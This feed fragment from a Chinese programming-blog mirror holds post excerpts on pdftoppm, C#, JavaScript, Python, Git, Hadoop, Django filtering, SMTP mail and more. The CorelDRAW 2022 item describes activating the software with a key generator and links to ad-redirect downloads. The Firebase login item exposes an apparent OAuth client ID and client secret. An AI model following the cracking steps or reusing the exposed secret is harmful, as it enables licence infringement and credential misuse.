      <description>介绍如何在 Linux 系统中使用 pdftoppm 指令将 PDF 文件转为 PNG、JPEG 等图片文件。&#xA;安装 pdftoppm 指令&#xA;在 Linux 系统中 pdftoppm 指令可以透过 poppler 套件来安装，不同的 Linux 发行版会有不同的套件名称，但大同小异：&#xA;Debian、Ubuntu、Mint Linux sudo apt install poppler-utils&#xA;RHEL、CentOS、Fedora Linux sudo dnf install poppler-utils&#xA;OpenSUSE Linux sudo zypper install poppler-tools&#xA;Arch Linux sudo pacman -S poppler&#xA;将 PDF 转为图片文件&#xA;pdftoppm 指令可以将 PDF 文件转换为各种格式的图片文件。&#xA;若要将 PDF 文件转换为 PNG 图片文件，可加上 -png 参数，并指定输入的 PDF 文件，以及输出图片的文件名前缀：&#xA;将 input.pdf 转换为 PNG 图文件 pdftoppm -png input.pdf output</description>
    </item>
    <item>
      <title>c#入门程序-简易计算器</title>
      <link>https://bchobby.github.io/posts/8b21e18e31efee06b58b04d9425ab132/</link>
      <pubDate>Tue, 11 Oct 2022 13:54:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b21e18e31efee06b58b04d9425ab132/</guid>
      <description>题目：编写一个简易计算器程序，要求在程序中能够捕获到被0除的异常与算术运算溢出的异常。当程序退出运行时，打印出字符串“谢谢使用”。&#xA;using System; //author:小徐爱搞事 //time:2022.10.11 namespace _04 { class Program { static void Main(string[] args) { //4.编写一个简易计算器程序，要求在程序中能够捕获到被0除的异常与算术运算溢出的异常。当程序退出运行时，打印出字符串“谢谢使用”。 //Console.WriteLine(&#34;Hello World!&#34;); bool b = true;//循环条件，目的是使程序退出while循环 try//用来捕获被0除的异常与算数溢出的异常 { while (b)//循环程序 { Console.Write(&#34;请输入第一个数：&#34;); double num1 = double.Parse(Console.ReadLine()); Console.Write(&#34;请从+-*/中选择一个,输入其它将退出程序：&#34;); string jugeinput = Console.ReadLine(); if (jugeinput == &#34;+&#34;) { Console.Write(&#34;请输入第二个数：&#34;); double num2 = double.Parse(Console.ReadLine()); double c = Add(num1, num2); Console.Write(c); } else if (jugeinput == &#34;-&#34;) { Console.WriteLine(&#34;请输入第二个数：&#34;); double num2 = double.Parse(Console.ReadLine()); double c = Sub(num1, num2); Console.</description>
    </item>
    <item>
      <title>代码混淆是什么？代码混淆的方法有哪些？</title>
      <link>https://bchobby.github.io/posts/739fada487ef2b414ee3c9b719e8f5f5/</link>
      <pubDate>Tue, 11 Oct 2022 11:47:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/739fada487ef2b414ee3c9b719e8f5f5/</guid>
      <description>一、什么是代码混淆？ 代码混淆 (Obfuscated code)是将计算机程序的代码，转换成一种功能上等价，但是难于阅读和理解的形式的行为。代码混淆可以用于程序源代码，也可以用于程序编译而成的中间代码。而混淆后的代码很难被反编译，即使反编译成功也很难得出程序的真正语义，通过进行代码混淆可以有效提升应用被逆向破解的难度。&#xA;代码混淆工具下载https://www.evget.com/category/30&#xA;作为一种跨平台的解释型语言，Java 源代码被编译成中间“字节码”存储于class文件中。由于跨平台的需要，这些字节码带有许多的语义信息，因此很容易被反编译成Java源代码。为了很好地保护Java源代码，开发者往往会对编译好的class文件进行混淆处理。就是对发布出去的程序代码进行重新组织和处理，使得处理后的代码与处理前的代码能够完成相同的功能，但是混淆后的代码很难被反编译，即使反编译成功也很难得出程序的真正语义。 二、代码混淆的方法有哪些？ 目前对于代码混淆的方法，普遍是以Collberg的理论为基础，分为布局混淆、数据混淆、控制混淆和预防混淆四种类型：&#xA;1.布局混淆：是指删除或者混淆软件源代码或者中间代码中与执行无关的辅助文本信息，增加攻击者阅读和理解代码的难度。&#xA;2.数据混淆：是修改程序中的数据域，而对代码段不作处理。常用的数据混淆方式有合并变量、分割变量、数组重组、字符串加密等。&#xA;3.控制混淆：也称流程混淆，它是改变程序的执行流程，从而打断逆向分析人员的跟踪思路，达到保护软件的目的。&#xA;4.预防混淆：一般是针对专用的反编译器设计的，目的就是预防被这类反编译器反编译。他是利用特定的反编译器或反混淆器的弱点进行专门设计。预防混淆对于特定的反编译器非常有效，所以在使用时要综合利用各种反编译器的特点进行设计。&#xA;三、有哪些常见代码混淆工具？ WinLicense是一个强劲的保护系统， 专为了那些想保护自己的程式不被先进的反向工程和黑客软件破解的软件开发者而开发的。开发者不需要更改任何的原代码，不需要程式编制的经验就可使用WinLicense。&#xA;vmprotect 是新一代的软件保护系统，将保护后的代码放到虚拟机中运行，这将使分析反编译后的代码和破解变得极为困难。使用 MAP 文件或内建的反编译引擎，您可以快速选择需要保护的代码。&#xA;.NET Reactor是用于为.NET Framework编写的软件的功能强大的代码保护和软件许可系统，并且支持生成.NET程序集的所有语言。&#xA;.NET Reactor支持所有的dotnet实现，包括.NET Framework、.NET 5.0、.NET Core和ASP.NET Core。通过这种方式，Xamarin、Unity和Blazor组件得到了全面的保护支持。&#xA;Allatori Java obfuscator 是第二代Java代码混淆器，为您的知识产权提供全方位的保护。大部分第二代混淆器都具有保护功能。Allatori除了保护功能之外，还附加了一系列的功能，几乎可以抵御一切的代码攻击。同时，Allatori可以让您的程序体积更小，速度更快，效果简直让人难以置信。&#xA;dotNet Protector 是一个功能强大的.NET代码保护系统，它可以防止程序集被反编译。dotNet Protector使用的是一个新的主体混淆技术保护应用程序和组件。程序集不再需要合并到一个win32可执行文件中，但是会保留其.net特性。dotNet Protector 采用一个命名混淆器结合一个主体混淆器来保护您的代码。&#xA;Themida是一个强劲的保护系统， 专为了那些想保护自己的程式不被先进的逆向工程和黑客软件破解的软件开发者而开发的。开发者不需要更改任何的原代码，和不需要程式编制的经验使用WinLicense。&#xA;Themida使用SecureEngine®的保护技术。它能够以最高的优先等级运行，这些保护技巧是从来都没在电脑防御技术领域出现过，使它&#xA;Code Virtualizer 是一个强大的代码搅乱系统。它可以帮助软件开发者保护他们软件内重要和敏感的代码区，防止他人使用逆向工程，而且它只消耗最小的系统资源。&#xA;代码加密，程序保护始终是信息安全的很重要的一部分，未来也将继续成为IT领域发展的重要方面，但着技术的进步，很多老的技术将会被逐步破解和淘汰，新技术也将源源不断的被开发出来，但市场需求和安全需求相信只会源源不断的增加，市面上现存的诸如VMProtect、WinLicense。这样致力于服务代码加密混淆的软件厂商也将不断迭代技术。</description>
    </item>
    <item>
      <title>C&#43;&#43;中双感叹号!!的含义</title>
      <link>https://bchobby.github.io/posts/f5f8719124603698f632eb4c57b7c260/</link>
      <pubDate>Tue, 11 Oct 2022 11:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5f8719124603698f632eb4c57b7c260/</guid>
      <description>C语言中偶尔会遇到 !!(cond)，特别是在宏定义当中；&#xA;单!用法&#xA;一个感叹号!我们知道是取非，如下： ！（非零）=0 ！（零）=1 双!用法&#xA;两个感叹号由此推导可以知道： ！！（非零）=1 ！！（零）=0 C语言中的感叹号（!）是逻辑运算操作符。经过该操作符运算后的值只有 2 种情况，要么为 1，即 True，要么为 0，即 False；&#xA;在进行逻辑运算时，所有非 0 的值都会被认为是 True，而只有 0 值会被认为是 False。所以对变量进行 2 次非运算（!!）就能将其转化成 1 或者 0，且变量原本的逻辑值保持不变。&#xA;举例 #defined __likely(!!(x)) int x = 6 if(__likely(x&amp;gt;9)) { do something } 补充解释:将条件转化为1或0，也就是true和false</description>
    </item>
    <item>
      <title>JavaScript数组操作常用方法</title>
      <link>https://bchobby.github.io/posts/8639664e2fee4f3a3fa50f69b08aedad/</link>
      <pubDate>Tue, 11 Oct 2022 10:48:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8639664e2fee4f3a3fa50f69b08aedad/</guid>
      <description>文章目录 数组基础遍历方法。forfor offor in 数组的基础操作方法。push：尾部追加元素pop：尾部移出元素unshift：头部追加元素shift：头部移出元素sort：数组排序splice：删除添加替换concat：连接join：分割slice：切割includes：查询indexOf：查询fill：填充/替换from：创建数组sort：数组排序 es6中带来的数组高阶方法。forEach：迭代（枚举）filter：过滤map：映射find：查找findIndex：查找下标Array.form()： 函数和方法的区别：&#xA;函数function：独立的function，那么称之为是一个函数。&#xA;function foo() {} 方法method：当我们的一个函数属于某一个对象时，我们称这个函数是这个对象的方法。&#xA;var obj = { foo: function() {} } obj.foo() 例如，对一个数组的操作方法：filter，我们就称之为是一个方法。&#xA;// filter：过滤 var nums = [10, 5, 11, 100, 55] nums.filter((item) =&amp;gt; item &amp;gt; 10) 在以下对数组的操作中，我们统称方法。&#xA;文章中通用常量意义：&#xA;item：某一项。当作为参数时，为遍历数组中的每一项。当作为返回值时，意思为某项数据，可以为任意类型。&#xA;index：下标。当作为参数时，为遍历数组中的item在数组中下标。当作为返回值时，意思为下标。&#xA;arr：数组。当作为返回值时，意思为改变数组本身。当作为参数时，意思为自身数组。&#xA;length：数组长度。当作为返回值时，意思为数组长度&#xA;newarr：新数组。当作为返回值时，意思为产生一个新数组，&#xA;boolean：布尔值。当作为方法体时为：条件的返回值为布尔值。&#xA;num：数值类型。&#xA;start ：数组遍历开始下标（包含）&#xA;end：数组遍历结束下标（不包含）&#xA;数组基础遍历方法。 for for(var i = 0, len = arr.length; i &amp;lt; len; i++ ){ console.log(arr[i]) } for基础循环可以用来遍历数组，字符串，类数组，DOM节点等。&#xA;for of for (var item of arr) { console.</description>
    </item>
    <item>
      <title>在 Python 中将字符串转换为数组</title>
      <link>https://bchobby.github.io/posts/f707765b1db54b291a998b137dcae1ba/</link>
      <pubDate>Tue, 11 Oct 2022 09:20:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f707765b1db54b291a998b137dcae1ba/</guid>
      <description>使用 str.split() 方法将字符串转换为数组，例如 array = string.split(&#39;,&#39;)。 str.split() 方法将在每次出现提供的分隔符时将字符串拆分为一个列表。&#xA;string = &#39;www,jiyik,com&#39; # ✅ 将逗号分隔的字符串转换为数组 array = string.split(&#39;,&#39;) print(array) # 👉️ [&#39;www&#39;, &#39;jiyik&#39;, &#39;com&#39;] # --------------------------------------------- # ✅ 将空格分隔的字符串转换为数组 string = &#39;www jiyik com&#39; array = string.split(&#39; &#39;) print(array) # 👉️ [&#39;www&#39;, &#39;jiyik&#39;, &#39;com&#39;] # --------------------------------------------- # ✅ 将字符串转换为字符数组 string = &#39;jiyik&#39; array = list(string) print(array) # 👉️ [&#39;j&#39;, &#39;i&#39;, &#39;y&#39;, &#39;i&#39;, &#39;k&#39;] # --------------------------------------------- # ✅ 将字符串转换为整数数组 string = &#39;1,2,3&#39; array = list(int(char) for char in string.</description>
    </item>
    <item>
      <title>Google登录和内购简要说明</title>
      <link>https://bchobby.github.io/posts/19983b1c20473f2efcfbd3a7434d3f5e/</link>
      <pubDate>Tue, 11 Oct 2022 00:44:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19983b1c20473f2efcfbd3a7434d3f5e/</guid>
      <description>Firebase-Google身份验证（登录） 我的博客：https://blog.csdn.net/qq_39574690/article/details/121246655 1、Google账号登录Firebase : https://console.firebase.google.com/&#xA;2、创建u3d项目 3、Authentication - Users - 添加用户 - 测试用户邮箱账密【按道理可不用】&#xA;4、Authentication - Sign-in method - 添加新提供方 - Google&#xA;5、齿轮图标 - 项目设置 - 添加应用 - 填写包名和SHA-1&#xA;打开cmd执行命令：&#xA;keytool -list -v -keystore F:\google.keystore&#xA;输入密钥密码，正确则会打印出SHA-1等信息内容。&#xA;填写完毕后，下载google-services.json，拷贝至工程内Assets/下任意能被打包出去的文件夹内。（例如Plugins下)&#xA;6、firebase-google登录 API文档：https://firebase.google.com/docs/auth/android/google-signin&#xA;7、API所需参数：&#xA;①获取client-ID : https://console.cloud.google.com/apis/credentials Google账号登录&#xA;进入凭据页面，找到Web client (auto created by Google Service)一项，客户端 ID即是client-ID&#xA;例如：&#xA;客户端 ID&#xA;921921056874-45l00snps5lgd69mj1i6patb0u6f33a7.apps.googleusercontent.com&#xA;客户端密钥&#xA;ZjZAO90H7gih-kIFVW67cifo&#xA;创建日期&#xA;2021年9月13日 GMT+8 22:39:48 ps:&amp;lt;此ID在google-services.json里也有出现，位于other_platform_oauth_client属性下的client_id属性内容。&amp;gt;&#xA;Google支付（内购） 我的博客：https://blog.csdn.net/qq_39574690/article/details/121252342 谷歌开发者官网（配置Google项目）： https://play.google.com/console/&#xA;注册谷歌开发者账号需要借记卡或信用卡(visa卡)，如若没有百度到的方法是全球付（未尝试），而内购必然是用海外的信用卡或银行卡的。【别搞全球付，试过了不行的 300块钱还没要回来呢哈哈】&#xA;【注意事项】</description>
    </item>
    <item>
      <title>[R|script] 批量计算OR/HR</title>
      <link>https://bchobby.github.io/posts/a02f461345aaf33eb27b0f67ce635b89/</link>
      <pubDate>Mon, 10 Oct 2022 21:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a02f461345aaf33eb27b0f67ce635b89/</guid>
      <description>转载搬运，感谢&#xA;写在前面 我们在做logistic回归经常要求回归分析当中的其OR值。同样的我们在做COX回归的时候也需要求HR值。在R基础包当中没有之间返回这些值的结果。我们需要用数据自己来求。同样的我们也可以使用tableone包当中的ShowRegTable来计算。但是这个包。返回的结果格式，不是自己想要的，所以就自己重新写一下函数。&#xA;tableone::ShowRegTable tableone示例&#xA;这个包当中的ShowRegTable使用方法是&#xA;library(tableone) library(survival) data(pbc) head(pbc) ## id time status trt age sex ascites hepato spiders edema bili chol ## 1 1 400 2 1 58.76523 f 1 1 1 1.0 14.5 261 ## 2 2 4500 0 1 56.44627 f 0 1 1 0.0 1.1 302 ## 3 3 1012 2 1 70.07255 m 0 0 0 0.5 1.4 176 ## 4 4 1925 2 1 54.</description>
    </item>
    <item>
      <title>OutputStream 转 InputStream</title>
      <link>https://bchobby.github.io/posts/62eeeb1b0fb069a35f700fd0f10bb34e/</link>
      <pubDate>Mon, 10 Oct 2022 19:29:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62eeeb1b0fb069a35f700fd0f10bb34e/</guid>
      <description> 开发中遇到生成文件，又不能存服务器磁盘，需要上传到某对象存储。&#xA;这个时候需要OutputStream 转 InputStream&#xA;XSSFWorkbook wb = null; try { wb = buildDownloadFile(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); wb.write(bos); byte[] buffer = bos.toByteArray(); InputStream inputStream = new ByteArrayInputStream(buffer); String fileName = buildDownloadFileName(); uploadFile(inputStream, fileName); } catch (Exception e) { e.printStackTrace(); throw new RuntimeException(e.getMessage()); } finally { if (wb != null) { try { wb.close(); } catch (Exception e) { e.printStackTrace(); } } } </description>
    </item>
    <item>
      <title>Echarts中根据条件遍历数据改变y轴字体颜色</title>
      <link>https://bchobby.github.io/posts/a28d616db72a5ddf115a8fe19a71af4e/</link>
      <pubDate>Mon, 10 Oct 2022 15:10:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a28d616db72a5ddf115a8fe19a71af4e/</guid>
      <description>Echarts中根据条件遍历数据改变y轴字体颜色 &amp;lt;div style=&#34;width: 100%;height: 100%&#34; id=&#34;bottomLeft1&#34;&amp;gt;&amp;lt;/div&amp;gt; async getList(){ let axisData={} let titleList=[] let yzgList=[] let zgzList=[] let xFontColor=[] let mark=&#39;01&#39; await queryProblemGroupBySort( { orgNo:this.oneParams.org } ).then(res =&amp;gt; { res.data.forEach(item=&amp;gt;{ if(mark==item.supvPrj){//判断数据中为01的数据所对应的y轴文字变为红色 item.fontColor=&#39;red&#39; }else{ item.fontColor=&#39;black&#39; } xFontColor.push(item.fontColor) titleList.push(item.problemSort) yzgList.push(item.yzg) zgzList.push(item.zgz) }) if(res.data){ axisData= houseFormat2(yzgList,zgzList) } }) //左下角 柱状图1 let bottomLeft1 = this.$echarts.init(document.getElementById(&#34;bottomLeft1&#34;)) setTimeout(()=&amp;gt;{ bottomLeft1.resize() }) let bottomLeftoption1 = { tooltip: { show:true, trigger: &#39;axis&#39;, axisPointer: { type: &#34;none&#34;, crossStyle: { color: &#34;</description>
    </item>
    <item>
      <title>T型、NPC型、三电平逆变器模型预测控制</title>
      <link>https://bchobby.github.io/posts/177d70e54ef561125e629529d0ffc7b2/</link>
      <pubDate>Mon, 10 Oct 2022 14:41:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/177d70e54ef561125e629529d0ffc7b2/</guid>
      <description>拓扑结构&#xA;仿真模型&#xA;相电压（三电平）&#xA;线电压（五电平） 电流跟踪效果&#xA;中点电位平衡控制&#xA;模型获取：置顶文章底部获取方式</description>
    </item>
    <item>
      <title>吸顶效果：1.css属性sticky优缺点 2.简单js实现吸顶效果</title>
      <link>https://bchobby.github.io/posts/bd479399b7025a8cf8a8a37a00c44d81/</link>
      <pubDate>Mon, 10 Oct 2022 12:58:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd479399b7025a8cf8a8a37a00c44d81/</guid>
      <description>1.css属性position:sticky 使用这个属性可以很方便的实现吸顶效果，并且只需要一行css&#xA;position: sticky 原理： 粘性元素根据滚动位置在相对（relative）和固定（fixed）之间切换。起先它会被相对定位，直到在视口中遇到给定的偏移位置为止 - 然后将其“粘贴”在适当的位置（比如 position:fixed。&#xA;兼容性 简单的同时，也意味着兼容性会差上一些，我简单总结一下：&#xA;浏览器兼容问题，IE/Edge 15 以及更早的版本不支持粘性定位,或者一些低版本的其他浏览器也不支持。父元素不能设置overflow：visible 以外的其他值，比如scroll和auto均不能，overflow-x和overflow-y同理。父元素不能给固定高度等于粘性定位元素，或者父元素计算高度等于粘性定位元素。必须给粘性定位元素设置一个定位值，如top或者bottom。 举个具体例子，下面随便写了个小demo：&#xA;&amp;lt;style&amp;gt; .wrapper { height: 800px; } .tab { margin-left: 50px; margin-top: 100px; /*核心设置*/ position: sticky; width: 200px; height: 300px; /* 一定要设置top或者bottom,否则粘性定位效果失效，参考我写的原理自然明白原因了，看不懂&#x9;打死嗷 */ top: 0; background-color: #eee; box-shadow: 1px 1px 5px #ccc; border-radius: 10px; display: flex; flex-direction: column; } .tab div { width: 100%; height: 60px; border-top: 1px solid #aaa; text-align: center; line-height: 50px; cursor: pointer; } .</description>
    </item>
    <item>
      <title>第五节Hadoop学习案例——MapReduce案例（WordCount）</title>
      <link>https://bchobby.github.io/posts/5692ab482b025f6e400921fac9350a32/</link>
      <pubDate>Mon, 10 Oct 2022 09:27:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5692ab482b025f6e400921fac9350a32/</guid>
      <description>提示：本文章内容主要围绕案例展开&#xA;目录&#xA;1 需求分析&#xA;1.1 需求&#xA;1.2 数据准备&#xA;1.3 原理&#xA;2 编码操作&#xA;2.1 创建项目&#xA;2.2 创建包和类&#xA;2.2.1 创建包&#xA;2.2.2 创建类&#xA;2.2 引入jar包&#xA;2.2.1 引入MR相关jar&#xA;2.2.2 引入打包插件&#xA;2.3 拷贝官方样例&#xA;2.4 修改样例代码&#xA;2.4.1 main方法程序阅读&#xA;2.4.2 WordCountMapper&#xA;2.4.3 WordCountReduce&#xA;2.4.4 替换实现类&#xA;2.5 程序打包&#xA;2.5.1 父项目pom修改&#xA;2.5.2 打包&#xA;2.6 程序测试&#xA;2.6.1 创建目录&#xA;2.6.2 上传程序&#xA;2.6.3 分布式文件系统上传测试数据&#xA;2.6.4 执行程序&#xA;2.6.5 查看结果&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;1 需求分析 1.1 需求 统计文件中各个单词出现的个数 1.2 数据准备 数据准备：hello.txt Once when l was six years old l saw a magnificent picture in a book called True Stories from Nature, about the primeval forest.</description>
    </item>
    <item>
      <title>CorelDRAW2022中文正式版特色功能介绍</title>
      <link>https://bchobby.github.io/posts/434ad245f9cb0e0e565c57751a7972b5/</link>
      <pubDate>Sun, 09 Oct 2022 22:33:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/434ad245f9cb0e0e565c57751a7972b5/</guid>
      <description>CDR是CorelDRAW软件的简称，这个软件主要用于平面设计领域。产品包装设计、LOGO标志设计、宣传单广告设计、服装设计、插画创作等等都会使用到这个软件。&#xA;CorelDRAW，简称CDR，CorelDRAW2022中文版免费版是一款专业的矢量绘图软件。该软件是加拿大Corel公司推出的矢量图形制作工具。经过22多年的发展和变革，CorelDRAW系列已经发布了22个版本。今年新推出的CorelDRAW 2022是该系列的最新版本。CorelDRAW2022中文版最新官方版是一款全新的平面设计工具，强大的平面设计功能和全新的外观界面，为设计师提供了更广阔的创作空间，打开了新思想的大门。无论是矢量图还是版面设计，网站制作还是位图编辑，这套完整的平面设计软件都能帮你按照自己的风格进行设计。&#xA;解压完成后按照自己的电脑系统类型选择，点击对应文件中的Setup安装；&#xA;提示输入序列号页面，右键以管理员身份打开注册机，在①处选择相应CDR版本，然后将②处的序列号复制到激活页面，点击下一步。&#xA;出现安装选项，最好选择自定义安装，因为C盘容量直接影响电脑运行速度。接着出现安装的插件，按自己需求选择。&#xA;选择安装程序功能默认就好，不做修改，点击下一步。&#xA;将“允许产品更新”取消选择，点击下一步。&#xA;默认安装路径可以点击“更改”将安装路径更改为其它盘，注意安装路径中的文件名称一定不能出现中文，否则会出错。&#xA;出现注册界面时填写邮箱和密码点击“继续”，如果有账号点击“我已有一个账户”登录。&#xA;出现“验证您的产品时出现问题”界面不用管，直接点继续就可安装完成。&#xA;下载地址CDRx8（复制浏览器打开）：&#xA;https://wm.makeding.com/iclk/?zoneid=36625&#xA;CorelDRAW2022特色&#xA;要从每个页面的中心调整页面大小，需要进一步操作才能查看所有页面&#xA;切换到多页面视图会自动缩放到所有显示页面，将视图缩放到单个页面&#xA;CorelDRAW中文版优势&#xA;将交互式网页调整为多页视图，以便有矩形对象以使布局窗口适合活动页面&#xA;此外，您可以从一系列经过精心呵护和测试的样式预设中进行选择，包括黑白&#xA;学习多个页面的基本功能是不够的重用会遇到其他问题，比如使用CorelDRAW&#xA;CorelDRAW免费亮点&#xA;改进的缩略图预览简化了页面处理此外，您现在可以在活动页面之后快速插入页面&#xA;您还可以在自定义类别中预订页面，而无需手动交换或者只是将它们分配到默认类别&#xA;单击 Ctrl+O 快捷键打开文档如果原始文档只有一个视图，则默认打开文档的第一页&#xA;CorelDRAW正版玩法&#xA;再次检查多页面视图将显示工具中包含的所有页面，只需按住 Shift 并拖动手柄即可&#xA;快速开始您的审阅过程 如何查看文档中的所有页面?以下是给您的序言、彩色和彩色样式&#xA;如果原始文档已在多个页面上查看，它将显示所有已登录的文档页面点击菜单栏中的查看&#xA;CorelDRAW新功能&#xA;1. 加速照片编辑的新功能&#xA;使用新的、非破坏性的、可堆叠的调整预设和新的调整泊坞窗，以比以往快 10 倍的速度获得令人难以置信的创意。享受对常见照片编辑功能的许多受用户启发的改进，以及带有新工具、快捷方式和命令的更新调整菜单。&#xA;2.新功能优化学习体验&#xA;在新的 Learning Docker 中查找个性化学习内容，并在创作时从“探索”选项卡中查找在线内容。由于优化的流程使定制培训触手可及，您无需离开 CorelDRAW 就可以快速掌握工具和技术。&#xA;3. 新功能受客户启发的功能&#xA;享受基于可信用户直接反馈的丰富功能，从节省时间的多页面视图和页面增强到有价值的图像编辑和导出增强。提交您自己的想法，对他人的想法进行投票，并为 CorelDRAW Graphics Suite 的设计和开发做出贡献，以帮助我们实现它!&#xA;CorelDRAW最新官方版测评&#xA;该软件广泛应用于广告设计、插画设计、网页设计、矢量图形编辑等领域。它拥有非常直观清爽的界面操作，所有功能一目了然。对于初次使用的用户，还准备了专门的动态指南，大大降低了操作难度。&#xA;特别说明&#xA;在多页视图中以交互方式调整页面大小，就好像它们是标准矩形对象一样。 要从中心调整页面大小，只需按住 Shift 并拖动手柄即可。切换到多页视图自动缩放以显示所有页面； 切换到单页视图缩放以适​​应绘图窗口中的活动页面。&#xA;CorelDRAW2022 订阅版 mac - 安装包下载&#xA;https://wm.makeding.com/iclk/?zoneid=49497&#xA;CorelDRAW2022 订阅版 win - 安装包下载</description>
    </item>
    <item>
      <title>操作远程仓库和Idea操作Git</title>
      <link>https://bchobby.github.io/posts/ef483d35253304fdfe658b34e7d08b1a/</link>
      <pubDate>Sun, 09 Oct 2022 20:19:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef483d35253304fdfe658b34e7d08b1a/</guid>
      <description>大致的意思就是上面这个图的意思&#xA;目录&#xA;一、需要创建远程仓库&#xA;1.1 根据不同的项目创建不同的远程仓库名称&#xA;1.2 创建ssh公钥&#xA;1.3 生成公钥&#xA;​编辑&#xA;1.4 指定远程仓库地址&#xA;1.5 查看远程仓库&#xA;1.6 删除远程仓库的关联&#xA;1.7 把我们初始化的项目推送到远程仓库&#xA;1.8 克隆远程仓库的项目&#xA;1.9 从远程仓库拉去新的代码&#xA;二、Idea关联Git&#xA;2.1 配置路径&#xA;2.2 把项目初始化为本地仓库&#xA;2.3 提交到暂存区&#xA;2.4 把暂存区提交到本地仓库&#xA;2.5 通过Idea把本地仓库的代码提交到远程仓库&#xA;2.6 Idea克隆远程仓库的代码&#xA;2.7 idea拉取远程仓库更新的代码&#xA;2.8 演示冲突问题&#xA;一、需要创建远程仓库 1.1 根据不同的项目创建不同的远程仓库名称 1.2 创建ssh公钥 公钥的目的是允许其他人访问远程仓库。而不需要输入账号和密码。 1.3 生成公钥 ssh-keygen -t rsa不断回车 如果公钥已经存在，则自动覆盖&#xA;把公钥内容添加到指定的仓库 1.4 指定远程仓库地址 git remote add 名称 远程仓库地址。&#xA;名称: 它可以任意起 建议起名为origin&#xA;1.5 查看远程仓库 git remote&#xA;1.6 删除远程仓库的关联 git remote rm 名称 1.</description>
    </item>
    <item>
      <title>django-restframework 实现筛选,搜索</title>
      <link>https://bchobby.github.io/posts/c5a54d42f706fc33a33e816b4f0bef7c/</link>
      <pubDate>Sun, 09 Oct 2022 19:43:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5a54d42f706fc33a33e816b4f0bef7c/</guid>
      <description>django-restframework 实现筛选(单个) 搜索(多个条件)&#xA;pip install django-filter -i https://pypi.tuna.tsinghua.edu.cn/simple 然后在配置文件中注册&#xA;INSTALLED_APPS = [ &#39;django.contrib.admin&#39;, &#39;django.contrib.auth&#39;, &#39;django.contrib.contenttypes&#39;, &#39;django.contrib.sessions&#39;, &#39;django.contrib.messages&#39;, &#39;django.contrib.staticfiles&#39;, &#39;rest_framework&#39;, &#39;django_filters&#39;,# drf的筛选 &#39;studentweb&#39;, ] 配置筛选类&#xA;from django_filters import FilterSet from studentweb.models import * class FacultyFilter(FilterSet): class Meta: model = Faculty fields = (&#39;name&#39;,) class MajorFilter(FilterSet): class Meta: model = Major fields = (&#39;name&#39;,&#39;faculty&#39;) class StudentFilter(FilterSet): class Meta: model = Student fields = (&#39;sno&#39;,&#39;name&#39;,&#39;mobile&#39;) 在views中导入模块&#xA;# 实现筛选的后台模块 from django_filters.rest_framework import DjangoFilterBackend # 导入筛选类 from studentweb.</description>
    </item>
    <item>
      <title>c&#43;&#43; 实现邮件发送功能</title>
      <link>https://bchobby.github.io/posts/9ebb209514078486e9ccfef40b6c93b7/</link>
      <pubDate>Sun, 09 Oct 2022 19:00:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ebb209514078486e9ccfef40b6c93b7/</guid>
      <description>系列服务器开发 文章目录 系列服务器开发前言一、SMTP是什么？二、使用SMTP使用步骤1.下载编译，命令行使用2.代码实现 总结 前言 常用的电子邮件协议有SMTP、POP3、IMAP4，它们都隶属于TCP/IP协议簇，默认状态下，分别通过TCP端口25、110和143建立连接。&#xA;SMTP的全称是&#34;SimpleMailTransferProtocol&#34;，即简单邮件传输协议&#xA;POP全称是邮局协议，负责从邮件服务器中检索电子邮件。&#xA;IMAP全称互联网信息访问协议，是一种优于POP的新协议。&#xA;一、SMTP是什么？ SMTP是一种提供可靠且有效的电子邮件传输的协议。SMTP是建立在FTP文件传输服务上的一种邮件服务，主要用于系统之间的邮件信息传递，并提供有关来信的通知。SMTP独立于特定的传输子系统，且只需要可靠有序的数据流信道支持，SMTP的重要特性之一是其能跨越网络传输邮件，即“SMTP邮件中继”。使用SMTP，可实现相同网络处理进程之间的邮件传输，也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输。&#xA;SMTP是一个相对简单的基于文本的协议。在其之上指定了一条消息的一个或多个接收者（在大多数情况下被确认是存在的），然后消息文本会被传输。可以很简单地通过telnet程序来测试一个SMTP服务器。SMTP使用TCP端口25。Sendmail是最早使用SMTP的邮件传输代理之一。&#xA;SMTP协议工作机制&#xA;虽然SMTP涉及的是发送电子邮件，但是整理和传送邮件的工作是由不同的服务器完成的，称为：POP（邮局协议）和IMAP（Internet消息访问协议）。通常它工作在两种情况下：一是邮件从客户机传输到服务器；二是从某一个服务器传输到另一个服务器。&#xA;SMTP的连接和发送过程&#xA;（a）建立TCP连接&#xA;（b）客户端发送HELLO命令以标识发件人自己的身份，然后客户端发送MAIL命令；服务器端以OK作为响应，表明准备接收&#xA;（c）客户端发送RCPT命令，以标识该电子邮件的计划接收人，可以有多个RCPT行；服务器端则表示是否愿意为收件人接收邮件&#xA;（d）协商结束，发送邮件，用命令DATA发送&#xA;（e）以.表示结束输入内容一起发送出去&#xA;（f）结束此次发送，用QUIT命令退出&#xA;二、使用SMTP使用步骤 本文基于sendemail可执行程序，通过进程调用来实现的邮件发送。&#xA;sendEmail发送邮件&#xA;sendEmail是一个轻量级，命令行的SMTP邮件客户端。如果你需要使用命令行发送邮件，那么sendEmail是非常完美的选择:使用简单并且功能强大。&#xA;1.下载编译，命令行使用 sendEmail 官网：http://caspian.dotconf.net/menu/Software/SendEmail/&#xA;sendEmail 下载：sendEmail-v1.56.tar.gz&#xA;1、sendEmail 下载 sendEmail-v1.56.tar.gz 2、解压、安装 tar zxvf sendEmail-v1.56.tar.gz cd sendEmail-v1.56 cp sendEmail /usr/local/bin/ 可以通过查看帮助 sendEmail --help 简单发送邮件案例 sendEmail -f ttlsafrom@163.com -t 